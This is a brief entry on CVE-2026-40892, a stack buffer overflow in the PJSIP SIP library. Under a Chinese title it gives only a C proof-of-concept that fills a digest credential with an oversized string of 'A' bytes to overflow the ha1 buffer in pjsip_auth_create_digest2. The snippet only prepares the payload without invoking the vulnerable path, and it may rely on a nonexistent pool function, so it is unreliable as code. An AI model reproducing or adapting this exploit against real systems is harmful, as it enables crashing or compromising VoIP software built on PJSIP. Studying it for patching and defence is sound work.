CVE-2026-40892 PJSIP栈缓冲区溢出漏洞

/* * PoC Concept for CVE-2026-40892 * This demonstrates how to trigger the buffer overflow * by setting a long digest credential. */ #include <pjsip.h> #include <pjlib.h> void trigger_overflow() { pjsip_cred_info cred_info; pj_bzero(&cred_info, sizeof(cred_info)); // Set the scheme to PJSIP_CRED_DATA_DIGEST (pre-computed digest) cred_info.data_type = PJSIP_CRED_DATA_DIGEST; // Create a payload longer than 128 bytes (ha1 buffer size) // This will overflow the stack buffer in pjsip_auth_create_digest2 char overflow_data[256]; memset(overflow_data, 'A', sizeof(overflow_data) - 1); overflow_data[sizeof(overflow_data) - 1] = '\0'; // Assign the malicious data to the credential info // The function will use cred_info->data.slen (256) as copy length pj_strdup2(pjsip_pool_create_default(), &cred_info.data, overflow_data); // When the library attempts to use this credential, // the overflow occurs in pjsip_auth_create_digest2(). printf("Payload prepared with length: %d\n", cred_info.data.slen); }